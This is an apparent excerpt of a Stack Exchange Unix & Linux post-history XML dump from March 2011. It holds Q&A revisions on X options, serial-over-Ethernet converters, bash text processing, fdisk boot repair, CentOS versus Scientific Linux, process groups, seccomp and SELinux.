  <row Id="21754" PostHistoryTypeId="2" PostId="9158" RevisionGUID="0ffc7dff-fe7a-435a-be01-b284115b968c" CreationDate="2011-03-12T17:53:36.647" UserId="5325" Text="It's included by (obscure) reference.&#xD;&#xA;&#xD;&#xA;&gt; **SEE ALSO**&#xD;&#xA;&gt; &#xD;&#xA;&gt; X(7), echo(1), cat(1)&#xD;&#xA;&#xD;&#xA;And buried down a ways in `X(7)`:&#xD;&#xA;&#xD;&#xA;&gt; **OPTIONS**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Most X programs attempt to use the same names for command line options&#xD;&#xA;&gt; and arguments.  All applications written with the X Toolkit Intrinsics&#xD;&#xA;&gt; automatically accept the following options:&#xD;&#xA;&gt; &#xD;&#xA;&gt; &lt;dl&gt;&#xD;&#xA;&gt; &lt;dd&gt;&lt;code&gt;-display display&lt;/code&gt;&lt;/dd&gt;&#xD;&#xA;&gt; &lt;dt&gt;This option specifies the name of the X server to use.&lt;/dt&gt;&#xD;&#xA;&gt; &lt;/dl&gt;&#xD;&#xA;&#xD;&#xA;followed by a number of other X Toolkit Intrinsics (`Xt`) standard options.  More modern toolkits have similar common options, which you can see with the `--help-all` option." />
  <row Id="21755" PostHistoryTypeId="2" PostId="9159" RevisionGUID="4da1918a-f45a-4fcf-a4c4-60341930e7a8" CreationDate="2011-03-12T17:57:11.303" UserId="138" Text="Many devices use nonstandard connectors for serial ports. RJ-45 is probably the most common connector used for RS-232 serial after DB-9, but unlike with DB-9, there aren't even *de facto* standards for the pinout. I'm aware of 4 different RJ-45 RS-232 pinouts, and there are probably others I haven't seen yet.&#xD;&#xA;&#xD;&#xA;None of this means that people are somehow converting Ethernet to serial. They merely happen to use the same connector.&#xD;&#xA;&#xD;&#xA;There are many products that do provide that conversion, and in fact most of them do use the RJ-45 connector. For an example of a single-port converter, there's the &lt;a href=&quot;http://www.digi.com/products/serialservers/digionesp.jsp&quot;&gt;Digi One SP&lt;/a&gt;. More common are boxes that provide multiple ports, like the &lt;a href=&quot;http://www.digi.com/products/serialservers/portserverts816.jsp&quot;&gt;Digi PortServer&lt;/a&gt; and the &lt;a href=&quot;http://www.avocent.com/Products/Category/Serial_Appliances/CS_Console_Servers.aspx&quot;&gt;Avocent (neé Cyclades) Console Servers&lt;/a&gt;. These are just two examples out of many. Digi and Avocent are easily the two biggest players, but there are lots of smaller companies doing things like this.&#xD;&#xA;&#xD;&#xA;Some of these boxes present themselves to the OS as `/dev/ttyWHATEVER` on your system, while others are purely serial to Ethernet converters. For example, with the Cyclades boxes, it might get the IP 10.1.2.3 from the DHCP server, so you would connect to 10.1.2.3 on TCP port 7001 to connect to the first serial port. You'd use TCP port 7002 for the second serial port, and so forth.&#xD;&#xA;&#xD;&#xA;The ones that appear as `/dev/tty*` nodes have the advantage that programs that know how to talk to a serial port can do things like set the remote port's bit rate and such. The downside is that they require a driver, which may not be available for the particular system you need to use, or might be &quot;available&quot; but bit-rotted. Inability to find a working driver is getting more common as the popularity of RS-232 drops.&#xD;&#xA;&#xD;&#xA;The pure serial to network converters make you set bit rate and such in some sort of management UI (typically web based) ahead of time, but they work with anything that can open a TCP connection." />
  <row Id="21756" PostHistoryTypeId="6" PostId="9153" RevisionGUID="8253aa49-02c1-4b7a-b19b-5dcd6e761cb8" CreationDate="2011-03-12T17:57:12.043" UserId="5325" Comment="edited tags" Text="écommandölineàéx11àéoptionsà" />
  <row Id="21757" PostHistoryTypeId="5" PostId="9157" RevisionGUID="a3c2fa90-7d85-429b-92f0-3571b5123530" CreationDate="2011-03-12T17:57:20.857" UserId="2343" Comment="added 207 characters in body; added 78 characters in body" Text="And just to show that there is no need to always use sed/awk, here is a version using *bash* with its extended regex.  With this method, you can do more complex processing of individual lines..  &#xD;&#xA;&#xD;&#xA;    while IFS= read -r line ; do&#xD;&#xA;        if [[ &quot;$line&quot; =~ ^([0-9]{6}\ )([0-9])(\ .+)$ ]]  &#xD;&#xA;        then echo &quot;${BASH_REMATCH[1]}0${BASH_REMATCH[2]}${BASH_REMATCH[3]}&quot; &#xD;&#xA;        else echo &quot;$line&quot;&#xD;&#xA;        fi&#xD;&#xA;    done &lt;&lt;EOF&#xD;&#xA;    201103 1 /mnt/hdd/PUB/SOMETHING&#xD;&#xA;    201102 7 /mnt/hdd/PUB/SOMETH ING&#xD;&#xA;    201103 11 /mnt/hdd/PUB/SO METHING&#xD;&#xA;    201104 3 /mnt/hdd/PUB/SOMET HING&#xD;&#xA;    201106 1 /mnt/hdd/PUB/SOMETHI NG&#xD;&#xA;    EOFthe&#xD;&#xA;&#xD;&#xA;output:&#xD;&#xA;&#xD;&#xA;    201103 01 /mnt/hdd/PUB/SOMETHING&#xD;&#xA;    201102 07 /mnt/hdd/PUB/SOMETH ING&#xD;&#xA;    201103 11 /mnt/hdd/PUB/SO METHING&#xD;&#xA;    201104 03 /mnt/hdd/PUB/SOMET HING&#xD;&#xA;    201106 01 /mnt/hdd/PUB/SOMETHI NG&#xD;&#xA;" />
  <row Id="21758" PostHistoryTypeId="6" PostId="9152" RevisionGUID="d43ffa15-bc58-41fc-8e17-d97a104f26ab" CreationDate="2011-03-12T18:00:43.127" UserId="885" Comment="edited tags" Text="écommandölineàéemacsà" />
  <row Id="21759" PostHistoryTypeId="5" PostId="9133" RevisionGUID="55172ebe-9977-41c4-96a1-c6c026712d31" CreationDate="2011-03-12T18:13:17.713" UserId="1207" Comment="fixed formatting" Text="I had the same problem.&#xD;&#xA;&#xD;&#xA;Solution (not nice though):&#xD;&#xA;&#xD;&#xA;1. Go on Options and Select Display CMD Line&#xD;&#xA;2. Click on Convert:&#xD;&#xA;&#xD;&#xA; - A terminal appears with commands&#xD;&#xA; - Copy the contents of the window, save it in a file&#xD;&#xA; - Run at as a shell script (sh filename)" />
  <row Id="21760" PostHistoryTypeId="2" PostId="9160" RevisionGUID="f0b7ee15-f850-476a-b573-3ace4ada6ad8" CreationDate="2011-03-12T18:18:14.560" UserId="138" Text="The program calling the Linux partition &quot;unallocated&quot; sounds like the Windows Disk Management tool. Microsoft could make it recognize non-Microsoft partition types, but it doesn't. It may be that your Ubuntu partition is still there and unharmed.&#xD;&#xA;&#xD;&#xA;If that is the case, you may just have to mark the Ubuntu `/boot` partition active. It may be that the Windows tool will refuse to mark any non-Microsoft partition active. In that case, you will have to boot the Ubuntu disk in rescue mode. I haven't used the Ubuntu rescue mode recently; it may have a menu option for fixing this sort of thing automatically. If not, you will have to get to a command prompt, then say something like this:&#xD;&#xA;&#xD;&#xA;    # fdisk /dev/sda&#xD;&#xA;    Command (m for help): p&#xD;&#xA;    ...partition list; /boot will be the smallest one you see in all likelihood&#xD;&#xA;    Command (m for help): a&#xD;&#xA;    Partition number (1-8): 1&#xD;&#xA;&#xD;&#xA;That sets `/dev/sda1` to be active. That's the most likely one to be `/boot`, but isn't necessarily it. You can try rebooting now.&#xD;&#xA;&#xD;&#xA;If that didn't work, try &lt;a href=&quot;https://help.ubuntu.com/community/GrubHowto#Backup,%20Repairing%20and%20Reinstalling%20GRUB&quot;&gt;repairing your GRUB boot loader&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;If that also fails, go back into rescue mode, get into `fdisk` and look at the partition table again. If any look to be marked as something other than either NTFS, Linux, or Linux swap, and the odd one out is 5 GB, you may have found the &quot;unallocated&quot; partition. Say it's `/dev/sda3`. Then in `fdisk`:&#xD;&#xA;&#xD;&#xA;    Command (m for help): t&#xD;&#xA;    Partition number (1-8): 3&#xD;&#xA;    Hex code (type L to list codes): 83&#xD;&#xA;    Command (m for help): w&#xD;&#xA;&#xD;&#xA;That sets `/dev/sda3` to partition type 83, which says it contains an `ext2` filesystem, or one of its successors. &#xD;&#xA;&#xD;&#xA;Again, try booting.&#xD;&#xA;&#xD;&#xA;If that's still not doing it, there are other steps you can take, but these three steps are the easy ones. It sounds like this was just a hobby install, so it's probably not worth going to heroic measures to fix it.&#xD;&#xA;&#xD;&#xA;If it comes to reinstalling, consider using &lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/Wubi_%28installer%29&quot;&gt;Wubi&lt;/a&gt; this time around instead of in a separate partition. It lets you create a virtual disk image inside your Windows partition, making it easier to manage and reducing the risk of it fighting with Windows." />
  <row Id="21761" PostHistoryTypeId="2" PostId="9161" RevisionGUID="d4ca62b4-de23-488f-b99e-48ef7301f37c" CreationDate="2011-03-12T18:26:47.283" UserId="2511" Text="Both projects, of course, are binary-compatible rebuilds from the source provided by Red Hat. The primary differences are in the development/build model.&#xD;&#xA;&#xD;&#xA;CentOS _only_ makes changes to remove Red Hat branding, or very occasionally as a last measure to get something to build. They aim to be bug-for-bug compatible with Red Hat Enterprise Linux.&#xD;&#xA;&#xD;&#xA;Scientific Linux makes more customizations and additions, for example building OpenAFS packages. (They do keep the SRPMs for these [separate][1], though.)&#xD;&#xA;&#xD;&#xA;CentOS is a &quot;community&quot; distribution, but it's really built and maintained by a small (but active) group of volunteer developers in a closed manner. The lack of communication from this group is sometimes frustrating and I think a problem they need to solve. Scientific Linux is much more open in its development model, and it's a lot easier to see what's going on.&#xD;&#xA;&#xD;&#xA;In my impression, Scientific Linux is a lot more likely to accept &quot;get it working&quot; hacks, and CentOS a bit more careful, even if it means delay — as in the case of the CentOS 6 release.&#xD;&#xA;&#xD;&#xA;Both are in production use at a lot of serious institutions. I don't think the delay of the CentOS 6 release is a huge cause for concern — it's just the way things are. (I think prioritizing 5.6 was the right move, since that's blocking some security updates. The fact that _that's_ not done yet is more worrying.) Hopefully after the actual work of getting the release out the door is done there can be some evaluation and maybe some changes made in communication of status. But I also think you won't go wrong deciding to use Scientific Linux now. They're basically interchangeable, after all, and it shouldn't be terribly painful to switch if you change your mind later.&#xD;&#xA;&#xD;&#xA;If your system is on the front lines and is mission-critical for your business, buying a Red Hat Enterprise Linux subscription should also be on your list of options to consider. It's pricey, but not _that_ pricey all considered, and by their nature CentOS and Scientific Linux always have some latency in getting security updates out the door.&#xD;&#xA;&#xD;&#xA;  [1]: http://ftp1.scientificlinux.org/linux/scientific/6.0/SRPMS/sl6-added/" />
  <row Id="21762" PostHistoryTypeId="5" PostId="9138" RevisionGUID="fe8bbb6e-11f2-463b-b058-0f2bed9fec2d" CreationDate="2011-03-12T19:20:56.290" UserId="1338" Comment="deleted 5 characters in body" Text="    $ sed 's/\&lt;[0-9]\&gt;/0&amp;/' ./infile&#xD;&#xA;    201103 01 /mnt/hdd/PUB/SOMETHING&#xD;&#xA;    201102 07 /mnt/hdd/PUB/SOMETH ING&#xD;&#xA;    201103 11 /mnt/hdd/PUB/SO METHING&#xD;&#xA;    201104 03 /mnt/hdd/PUB/SOMET HING&#xD;&#xA;    201106 01 /mnt/hdd/PUB/SOMETHI NG" />
  <row Id="21763" PostHistoryTypeId="5" PostId="9151" RevisionGUID="e21191f7-e5ee-4ded-b899-88bdbd2d7dd0" CreationDate="2011-03-12T19:41:13.710" UserId="4319" Comment="Added an explanatory link for a key combination. (What if I don't know what this key combination does? I need to look it up in some reference material. Wikipedia can suit such a need. &quot;info bash&quot; doesn't have this info.)" Text="A [process group](http://en.wikipedia.org/wiki/Process_group) is a unix kernel concept. It doesn't come up very often. You can send a signal to all the process in a group, by calling the `kill` [system call](http://pubs.opengroup.org/onlinepubs/009695399/functions/kill.html) or [utility](http://pubs.opengroup.org/onlinepubs/009695399/utilities/kill.html) with a negative argument.&#xD;&#xA;&#xD;&#xA;When a process is created (with [`fork`](http://pubs.opengroup.org/onlinepubs/009695399/functions/fork.html)), it remains in the same process group as its parent. A process can move into another group by calling [`setpgid`](http://pubs.opengroup.org/onlinepubs/009695399/functions/setpgid.html) or [`setpgrp`](http://pubs.opengroup.org/onlinepubs/009695399/functions/setpgrp.html). This is normally performed by the shell when it starts an external process, before it executes [`execve`](http://pubs.opengroup.org/onlinepubs/009695399/functions/execve.html) to load the external program.&#xD;&#xA;&#xD;&#xA;The main use for process groups is that when you press `Ctrl+C`, `Ctrl+Z` or [`Ctrl+\`](http://en.wikipedia.org/wiki/Ctrl-%5C) to kill or suspend programs in a terminal, the terminal sends a signal to a whole process group, the [foreground process group](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap03.html#tag_03_183). The details are fairly complex and mostly of interest to shell or kernel implementers; the [General Terminal Interface](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap11.html) chapter of the POSIX standard is a good presentation (you do need some unix programming background).&#xD;&#xA;&#xD;&#xA;Jobs are an internal concept to the shell. In the simple cases, each job in a shell corresponds to a process group in the kernel.&#xD;&#xA;" />
  <row Id="21764" PostHistoryTypeId="24" PostId="9151" RevisionGUID="e21191f7-e5ee-4ded-b899-88bdbd2d7dd0" CreationDate="2011-03-12T19:41:13.710" Comment="Proposed by 4319 approved by -1 edit id of 201" />
  <row Id="21765" PostHistoryTypeId="5" PostId="9151" RevisionGUID="53e13eaa-ab20-42d1-8f25-9a2f1405069f" CreationDate="2011-03-12T19:41:17.923" UserId="885" Comment="hyperlinks for terminal signals" Text="A [process group](http://en.wikipedia.org/wiki/Process_group) is a unix kernel concept. It doesn't come up very often. You can send a signal to all the processes in a group, by calling the `kill` [system call](http://pubs.opengroup.org/onlinepubs/009695399/functions/kill.html) or [utility](http://pubs.opengroup.org/onlinepubs/009695399/utilities/kill.html) with a negative argument.&#xD;&#xA;&#xD;&#xA;When a process is created (with [`fork`](http://pubs.opengroup.org/onlinepubs/009695399/functions/fork.html)), it remains in the same process group as its parent. A process can move into another group by calling [`setpgid`](http://pubs.opengroup.org/onlinepubs/009695399/functions/setpgid.html) or [`setpgrp`](http://pubs.opengroup.org/onlinepubs/009695399/functions/setpgrp.html). This is normally performed by the shell when it starts an external process, before it executes [`execve`](http://pubs.opengroup.org/onlinepubs/009695399/functions/execve.html) to load the external program.&#xD;&#xA;&#xD;&#xA;The main use for process groups is that when you press [`Ctrl+C`](http://en.wikipedia.org/wiki/SIGINT_%28POSIX%29), [`Ctrl+Z`](http://en.wikipedia.org/wiki/SIGTSTP) or [`Ctrl+\`](http://en.wikipedia.org/wiki/SIGQUIT) to [kill or suspend programs in a terminal](http://en.wikipedia.org/wiki/Signal_%28computing%29#Sending_signals), the terminal sends a signal to a whole process group, the [foreground process group](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap03.html#tag_03_183). The details are fairly complex and mostly of interest to shell or kernel implementers; the [General Terminal Interface](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap11.html) chapter of the POSIX standard is a good presentation (you do need some unix programming background).&#xD;&#xA;&#xD;&#xA;Jobs are an internal concept to the shell. In the simple cases, each job in a shell corresponds to a process group in the kernel.&#xD;&#xA;" />
  <row Id="21766" PostHistoryTypeId="5" PostId="8929" RevisionGUID="38e8a0da-c3e0-49d5-bb20-66d29e32b539" CreationDate="2011-03-12T20:00:43.257" UserId="4319" Comment="A note on &quot;flexible seccomp&quot;." Text="One known way to achieve isolation is through [the seccomp sandboxing approach used in Google Chromium](http://www.imperialviolet.org/2009/08/26/seccomp.html). But this approach supposes that you write a helper which would process some (the allowed ones) of the &quot;intercepted&quot; file access and other syscalls; and also, of course, make effort to &quot;intercept&quot; the syscalls and redirect them to the helper (perhaps, it would even mean such a thing as replacing the intercepted syscalls in the code of the controlled process; so, it doesn't sound to be quite simple; if you are interested, you'd better read the details rather than just my answer).&#xD;&#xA;&#xD;&#xA;More related info (from Wikipedia):&#xD;&#xA;&#xD;&#xA;* &lt;http://en.wikipedia.org/wiki/Seccomp&gt;&#xD;&#xA;* &lt;http://code.google.com/p/seccompsandbox/wiki/overview&gt;&#xD;&#xA;* [LWN article: Google's Chromium sandbox](http://lwn.net/Articles/347547/), Jake Edge, August 2009&#xD;&#xA;* **[seccomp-nurse](http://chdir.org/~nico/seccomp-nurse/), a sandboxing framework based on seccomp.**&#xD;&#xA;&#xD;&#xA;(The last item seems to be interesting if one is looking for a general `seccomp`-based solution outside of Chromium. There is also a blog post worth reading from the author of &quot;seccomp-nurse&quot;: [SECCOMP as a Sandboxing solution ?](http://justanothergeek.chdir.org/2010/03/seccomp-as-sandboxing-solution.html).)&#xD;&#xA;&#xD;&#xA;The illustration of this approach from [the &quot;seccomp-nurse&quot; project](http://chdir.org/~nico/seccomp-nurse/):&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/XvWXB.png&#xD;&#xA;&#xD;&#xA;###A &quot;flexible&quot; seccomp possible in the future of Linux?&#xD;&#xA;&#xD;&#xA;There used to appear in 2009 also [suggestions to patch the Linux kernel](http://lwn.net/Articles/332438/) so that there is more flexibility to the `seccomp` mode--so that &quot;many of the acrobatics that we currently need could be avoided&quot;. (&quot;Acrobatics&quot; refers to the complications of writing a helper that has to execute many possibly innocent syscalls on behalf of the jailed process and of substituting the possibly innocent syscalls in the jailed process.) [An LWN article](http://lwn.net/Articles/332438/) wrote to this point:&#xD;&#xA;&#xD;&#xA;&gt; One suggestion that came out was to&#xD;&#xA;&gt; add a new &quot;mode&quot; to seccomp. The API&#xD;&#xA;&gt; was designed with the idea that&#xD;&#xA;&gt; different applications might have&#xD;&#xA;&gt; different security requirements; it&#xD;&#xA;&gt; includes a &quot;mode&quot; value which&#xD;&#xA;&gt; specifies the restrictions that should&#xD;&#xA;&gt; be put in place. Only the original&#xD;&#xA;&gt; mode has ever been implemented, but&#xD;&#xA;&gt; others can certainly be added.&#xD;&#xA;&gt; Creating a new mode which allowed the&#xD;&#xA;&gt; initiating process to specify which&#xD;&#xA;&gt; system calls would be allowed would&#xD;&#xA;&gt; make the facility more useful for&#xD;&#xA;&gt; situations like the Chrome sandbox.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Adam Langley (also of Google) has&#xD;&#xA;&gt; posted a patch which does just that.&#xD;&#xA;&gt; The new &quot;mode 2&quot; implementation&#xD;&#xA;&gt; accepts a bitmask describing which&#xD;&#xA;&gt; system calls are accessible. If one of&#xD;&#xA;&gt; those is prctl(), then the sandboxed&#xD;&#xA;&gt; code can further restrict its own&#xD;&#xA;&gt; system calls (but it cannot restore&#xD;&#xA;&gt; access to system calls which have been&#xD;&#xA;&gt; denied). All told, it looks like a&#xD;&#xA;&gt; reasonable solution which could make&#xD;&#xA;&gt; life easier for sandbox developers.&#xD;&#xA;&gt; &#xD;&#xA;&gt; That said, this code may never be&#xD;&#xA;&gt; merged because the discussion has&#xD;&#xA;&gt; since moved on to other possibilities.&#xD;&#xA;&#xD;&#xA;This &quot;flexible seccomp&quot; would bring the possibilities of Linux closer to providing the desired feature, without the need to write complicated helpers." />
  <row Id="21767" PostHistoryTypeId="5" PostId="8929" RevisionGUID="7fe7c35a-e1ca-4c3a-b2f5-480996b24903" CreationDate="2011-03-12T20:08:35.167" UserId="4319" Comment="A tiny correction in the wording (the semantic accents)." Text="One known way to achieve isolation is through [the seccomp sandboxing approach used in Google Chromium](http://www.imperialviolet.org/2009/08/26/seccomp.html). But this approach supposes that you write a helper which would process some (the allowed ones) of the &quot;intercepted&quot; file access and other syscalls; and also, of course, make effort to &quot;intercept&quot; the syscalls and redirect them to the helper (perhaps, it would even mean such a thing as replacing the intercepted syscalls in the code of the controlled process; so, it doesn't sound to be quite simple; if you are interested, you'd better read the details rather than just my answer).&#xD;&#xA;&#xD;&#xA;More related info (from Wikipedia):&#xD;&#xA;&#xD;&#xA;* &lt;http://en.wikipedia.org/wiki/Seccomp&gt;&#xD;&#xA;* &lt;http://code.google.com/p/seccompsandbox/wiki/overview&gt;&#xD;&#xA;* [LWN article: Google's Chromium sandbox](http://lwn.net/Articles/347547/), Jake Edge, August 2009&#xD;&#xA;* **[seccomp-nurse](http://chdir.org/~nico/seccomp-nurse/), a sandboxing framework based on seccomp.**&#xD;&#xA;&#xD;&#xA;(The last item seems to be interesting if one is looking for a general `seccomp`-based solution outside of Chromium. There is also a blog post worth reading from the author of &quot;seccomp-nurse&quot;: [SECCOMP as a Sandboxing solution ?](http://justanothergeek.chdir.org/2010/03/seccomp-as-sandboxing-solution.html).)&#xD;&#xA;&#xD;&#xA;The illustration of this approach from [the &quot;seccomp-nurse&quot; project](http://chdir.org/~nico/seccomp-nurse/):&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/XvWXB.png&#xD;&#xA;&#xD;&#xA;###A &quot;flexible&quot; seccomp possible in the future of Linux?&#xD;&#xA;&#xD;&#xA;There used to appear in 2009 also [suggestions to patch the Linux kernel](http://lwn.net/Articles/332438/) so that there is more flexibility to the `seccomp` mode--so that &quot;many of the acrobatics that we currently need could be avoided&quot;. (&quot;Acrobatics&quot; refers to the complications of writing a helper that has to execute many possibly innocent syscalls on behalf of the jailed process and of substituting the possibly innocent syscalls in the jailed process.) [An LWN article](http://lwn.net/Articles/332438/) wrote to this point:&#xD;&#xA;&#xD;&#xA;&gt; One suggestion that came out was to&#xD;&#xA;&gt; add a new &quot;mode&quot; to seccomp. The API&#xD;&#xA;&gt; was designed with the idea that&#xD;&#xA;&gt; different applications might have&#xD;&#xA;&gt; different security requirements; it&#xD;&#xA;&gt; includes a &quot;mode&quot; value which&#xD;&#xA;&gt; specifies the restrictions that should&#xD;&#xA;&gt; be put in place. Only the original&#xD;&#xA;&gt; mode has ever been implemented, but&#xD;&#xA;&gt; others can certainly be added.&#xD;&#xA;&gt; Creating a new mode which allowed the&#xD;&#xA;&gt; initiating process to specify which&#xD;&#xA;&gt; system calls would be allowed would&#xD;&#xA;&gt; make the facility more useful for&#xD;&#xA;&gt; situations like the Chrome sandbox.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Adam Langley (also of Google) has&#xD;&#xA;&gt; posted a patch which does just that.&#xD;&#xA;&gt; The new &quot;mode 2&quot; implementation&#xD;&#xA;&gt; accepts a bitmask describing which&#xD;&#xA;&gt; system calls are accessible. If one of&#xD;&#xA;&gt; those is prctl(), then the sandboxed&#xD;&#xA;&gt; code can further restrict its own&#xD;&#xA;&gt; system calls (but it cannot restore&#xD;&#xA;&gt; access to system calls which have been&#xD;&#xA;&gt; denied). All told, it looks like a&#xD;&#xA;&gt; reasonable solution which could make&#xD;&#xA;&gt; life easier for sandbox developers.&#xD;&#xA;&gt; &#xD;&#xA;&gt; That said, this code may never be&#xD;&#xA;&gt; merged because the discussion has&#xD;&#xA;&gt; since moved on to other possibilities.&#xD;&#xA;&#xD;&#xA;This &quot;flexible seccomp&quot; would bring the possibilities of Linux closer to providing the desired feature in the OS, without the need to write helpers that complicated." />
  <row Id="21768" PostHistoryTypeId="25" PostId="9152" RevisionGUID="2ae63f19-9a63-4e0f-bff4-36e5701c8189" CreationDate="2011-03-12T20:24:39.697" Comment="http://twitter.com/#!/StackUnix/status/46667944347959297" />
  <row Id="21769" PostHistoryTypeId="2" PostId="9162" RevisionGUID="9fd91051-9d7f-457c-9c75-62d536ea2380" CreationDate="2011-03-12T21:41:58.397" UserId="5679" Text="I have somehow managed to get my keyboard only to work and be able to select with the mouse cursor, only when the SHIFT and CONTROL keys are held.&#xD;&#xA;How can I undo this?&#xD;&#xA;I have tried System -&gt; Preferences -&gt; Keyboard but nothing appears there to resolve this. " />
  <row Id="21770" PostHistoryTypeId="1" PostId="9162" RevisionGUID="9fd91051-9d7f-457c-9c75-62d536ea2380" CreationDate="2011-03-12T21:41:58.397" UserId="5679" Text="ungrabbing keys" />
  <row Id="21771" PostHistoryTypeId="3" PostId="9162" RevisionGUID="9fd91051-9d7f-457c-9c75-62d536ea2380" CreationDate="2011-03-12T21:41:58.397" UserId="5679" Text="ékeyboardà" />
  <row Id="21772" PostHistoryTypeId="2" PostId="9163" RevisionGUID="774ff97f-0198-4a9a-ac45-80c3cc6cc396" CreationDate="2011-03-12T21:51:33.587" UserId="5630" Text="I recently installed Fedora 14 on my home pc and have been working on setting up different server related features such as apache, mysql, ftp, vpn, ssh, etc.  I ran extremely quickly in to a barrier it felt like when I discovered SELinux which I had not priorly heard of.  After doing some research it seemed as though most people were of the opinion that you should just disable it and not deal with the hassle.  Personally if it really does add more security I'm not opposed to dealing with the headaches of learning how to appropriately set it up.  Eventually I plan on opening my network up so that this pc can be access remotely but I don't want to do that until such time as I'm confident that its secure (more or less... lol).  If you have set it up and gotten it functioning correctly do you feel that it was worth the time and hassle?  Is it really more secure?  If you have opted out of using it was that decision founded on any research worth considering in my situation as well?" />
  <row Id="21773" PostHistoryTypeId="1" PostId="9163" RevisionGUID="774ff97f-0198-4a9a-ac45-80c3cc6cc396" CreationDate="2011-03-12T21:51:33.587" UserId="5630" Text="Does SELinux provide enough extra security to be worth the hassle of learning/setting it up?" />
  <row Id="21774" PostHistoryTypeId="3" PostId="9163" RevisionGUID="774ff97f-0198-4a9a-ac45-80c3cc6cc396" CreationDate="2011-03-12T21:51:33.587" UserId="5630" Text="élinuxàésecurityàéserveràéselinuxà" />
  <row Id="21776" PostHistoryTypeId="2" PostId="9165" RevisionGUID="082d78d1-8d92-4850-b623-64ffe864603f" CreationDate="2011-03-12T22:08:13.443" UserId="885" Text="SELinux enhanced local security by improving the isolation between processes and providing more fine-grained security policies.&#xD;&#xA;&#xD;&#xA;For multi-user machines, this can be useful because of the more flexible policies, and it raises more barriers between users so it adds protection against malicious local users.&#xD;&#xA;&#xD;&#xA;For servers, SELinux can reduce the impact of a security vulnerability in a server. Where the attacker might be able to gain local user or root privileges, SELinux might only allow him to disable one particular service.&#xD;&#xA;&#xD;&#xA;For typical home use, where you'll be the only user and you'll want to be able to everything remotely once authenticated, you won't gain any security from SELinux.&#xD;&#xA;" />
  <row Id="21777" PostHistoryTypeId="5" PostId="9162" RevisionGUID="e27124bf-1c07-446e-9b4d-03944ad95ef1" CreationDate="2011-03-12T22:18:26.490" UserId="885" Comment="added information from comment" Text="I have somehow managed to get my keyboard only to work and be able to select with the mouse cursor, only when the SHIFT and CONTROL keys are held.&#xD;&#xA;How can I undo this?&#xD;&#xA;I have tried System -&gt; Preferences -&gt; Keyboard but nothing appears there to resolve this.&#xD;&#xA;&#xD;&#xA;I can only enter text or select anything (even opening a new tab in web browser), only if the shift and control keys are held. once the selection is &quot;active&quot; then I can type normally, until the next time I need to type, etc..&#xD;&#xA;Below as recommended:&#xD;&#xA;&#xD;&#xA;    KeyRelease event, serial 36, synthetic NO, window 0x5a00001,&#xD;&#xA;    root 0x1ad, subw 0x0, time 2238759, (-435,502), root:(312,552),&#xD;&#xA;    state 0x11, keycode 38 (keysym 0x41, A), same_screen YES,&#xD;&#xA;    XLookupString gives 1 bytes: (41) &quot;A&quot;&#xD;&#xA;    XFilterEvent returns: False&#xD;&#xA;" />
  <row Id="21778" PostHistoryTypeId="6" PostId="9162" RevisionGUID="e27124bf-1c07-446e-9b4d-03944ad95ef1" CreationDate="2011-03-12T22:18:26.490" UserId="885" Comment="added information from comment" Text="éxorgàékeyboardà" />
  <row Id="21779" PostHistoryTypeId="5" PostId="9160" RevisionGUID="fa33d6e1-cc1c-43ed-9001-3ad8b8ad0075" CreationDate="2011-03-12T22:20:02.920" UserId="138" Comment="grammar, clarity" Text="The program calling the Linux partition &quot;unallocated&quot; sounds like the Windows Disk Management tool. Microsoft could make it recognize non-Microsoft partition types, but they haven't. It may be that your Ubuntu partition is still there and unharmed.&#xD;&#xA;&#xD;&#xA;If that is the case, you may just have to mark the Ubuntu `/boot` partition active. The Windows tool will probably refuse to mark any non-Microsoft partition active, so you'll have to use another tool. I recommend booting your system with the Ubuntu install disk and telling it to use rescue mode. I haven't used the Ubuntu rescue mode recently; it may have a menu option for fixing this sort of thing automatically. If not, you will have to get to a command prompt, then say something like this:&#xD;&#xA;&#xD;&#xA;    # fdisk /dev/sda&#xD;&#xA;    Command (m for help): p&#xD;&#xA;    ...partition list; /boot will be the smallest one you see in all likelihood&#xD;&#xA;    Command (m for help): a&#xD;&#xA;    Partition number (1-8): 1&#xD;&#xA;&#xD;&#xA;That sets `/dev/sda1` to be active. That's the most likely one to be `/boot`, but isn't necessarily it. You can try rebooting now.&#xD;&#xA;&#xD;&#xA;If that didn't work, try &lt;a href=&quot;https://help.ubuntu.com/community/GrubHowto#Backup,%20Repairing%20and%20Reinstalling%20GRUB&quot;&gt;repairing your GRUB boot loader&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;If that also fails, go back into rescue mode, get into `fdisk` and look at the partition table again. If any look to be marked as something other than either NTFS, Linux, or Linux swap, and the odd one out is 5 GB, you may have found the &quot;unallocated&quot; partition. Say it's `/dev/sda3`. Then in `fdisk`:&#xD;&#xA;&#xD;&#xA;    Command (m for help): t&#xD;&#xA;    Partition number (1-8): 3&#xD;&#xA;    Hex code (type L to list codes): 83&#xD;&#xA;    Command (m for help): w&#xD;&#xA;&#xD;&#xA;That sets `/dev/sda3` to partition type 83, which says it contains an `ext2` filesystem, or one of its successors. &#xD;&#xA;&#xD;&#xA;Again, try booting.&#xD;&#xA;&#xD;&#xA;If that's still not doing it, there are other steps you can take, but we've run out of easy ones. It sounds like this was just a hobby install, so it's probably not worth going to heroic measures to fix it.&#xD;&#xA;&#xD;&#xA;If it comes to reinstalling, consider using &lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/Wubi_%28installer%29&quot;&gt;Wubi&lt;/a&gt; this time around instead of installing Ubuntu in a separate partition. Wubi lets you create a virtual disk image inside your Windows partition, which is easier to manage and has less risk of a fight with Windows." />
